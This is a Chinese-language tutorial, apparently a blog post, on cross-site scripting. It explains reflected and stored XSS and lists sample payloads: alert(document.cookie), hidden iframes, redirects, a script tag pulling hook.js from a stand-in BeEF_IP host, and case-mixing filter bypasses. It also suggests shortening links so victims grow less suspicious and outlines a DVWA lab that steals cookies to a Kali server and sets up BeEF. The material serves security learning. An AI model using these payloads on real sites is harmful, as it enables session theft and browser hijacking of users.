提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
一、XSS是什么?
跨站脚本(cross site script)是为了避免与CSS混淆,所以称之为XSS。XSS是web中比较主流的一种攻击方式,它是指恶意攻击者利用网站没有对用户提交数据进行转移处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去,使得用户方式执行这段恶意代码,造成安全问题。
如果要造成XSS攻击,至少得有两个基本条件:1.浏览器已成功登录 2.浏览器点击了携带恶意脚本的链接
二、原理解析
1.XSS主要原因
服务器过于信任客户端提交的数据,没有对提交的数据进行过滤或者转义
2.XSS主要分类
2.1 反射型XSS
反射型XSS攻击又称之为非持久性跨站点脚本攻击,是最常见的类型的XSS。它产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性XSS攻击包含一个带XSS攻击向量的链接,即每次都需要用户的点击。
2.2 存储型XSS
存储型XSS又称之为持久性跨站点脚本攻击,他一般发生在XSS攻击向量存储在网站数据库中,当一个页面被用户打开的时候就会执行。即每当一个用户打开此页面,脚本自动执行。他比反射型的XSS攻击的危害性更大。
2.3 XSS原理图
3.构造XSS脚本
3.1 常用的HTML标签
<iframe> -----iframe元素会创建包含另外一个文档的内联框架
<textaera> -----textarea标签定义多行的文本输入控件
<img> -----img元素想网页中嵌入一幅图像,主要是利用image
标签的onerror属性
<script> -----script标签用于定义客户端脚本,对于js而言,
script元素既可以包含脚本语句,也可以通过src属
性指向外部脚本文件
3.2 常用的JavaScript方法
alert -----alert()方法即弹窗,显示一条指定信息及确定按钮
window.location -----用于获取当前页面的地址(URL),并把浏览器
定向到新的页面
location.href -----返回当前显示的文档的完整的URL
onload -----一张页面或者一幅图像完成加载
onsubmit -----确认按钮被点击
onerror -----在加载文档或图像时出错
3.3 构造XSS脚本
3.3.1 弹框警告
弹窗警告一般作为漏洞测试或者演示使用,一旦此脚本执行,则意味着后续服务器没有对特殊字符进行过滤,这样可以证明,这个页面位置存在了XSS漏洞。
<script> alert('xss attack') </script>
<script> alert(document.cookie) </script>
3.3.2 页面嵌套
<iframe src= http://wwww.baidu.com width=300 height=300></iframe>
<iframe src= http://wwww.baidu.com width=0 height=0 border=0></iframe>
3.3.3 页面重定向
<script>window.location="http://www.baidu.com"</script>
<script>location.href="http://www.baidu.com"</script>
3.3.4 弹框警告并重定向
<script> alert('xss attack');location.href="http://www.baidu.com" </script>
3.3.5 访问恶意代码
<script src="http://BeEF_IP:3000/hook.js"></script>
3.3.6 巧用图片标签
<img src="" onerror="alert('xss')">
<img src="http://BeEF_IP:3000/hook.js"></img>
3.3.7 绕开过滤的脚本
大小写
<ScrIpt>alert('xss')<SCRipt>
改变字符编码,采用URL,Base64,HTML编码
<a href="********"
缩短URL
可以利用百度短网址来缩短长的url,减小用户怀疑
3.3.8 收集用户cookie
4. 存储型XSS
4.1 手工XSS
攻击1:弹框警告
在kali上登录owsap的DVWA界面,进入存储型XSS,在安全等级为low的情况下,注入弹框。那么此时,只要有其他用户点击了这个存储型XSS,那么他就会中招,用另一个靶机win7去登录OWASP的存储型XSS,果然,在wein7的电脑上出现弹窗,以此正式存储型XSS属实有用。
攻击2:获取cookie:渗透机kali端操作
1.构建收集cookie服务器
1.1在kali上启动apache服务器
2.构造XSS代码并植入到web服务器中
3.等待肉鸡触发XSS代码并将cookie发送到kali
4.cookie的利用
自动化XSS:
beef-XSS
1.启动apache服务
service apache start
2.启动beef
beef-xss
3.进入beef页面,输入账号和密码,密码如果没有修改过,默认的就是beef,账号名是beef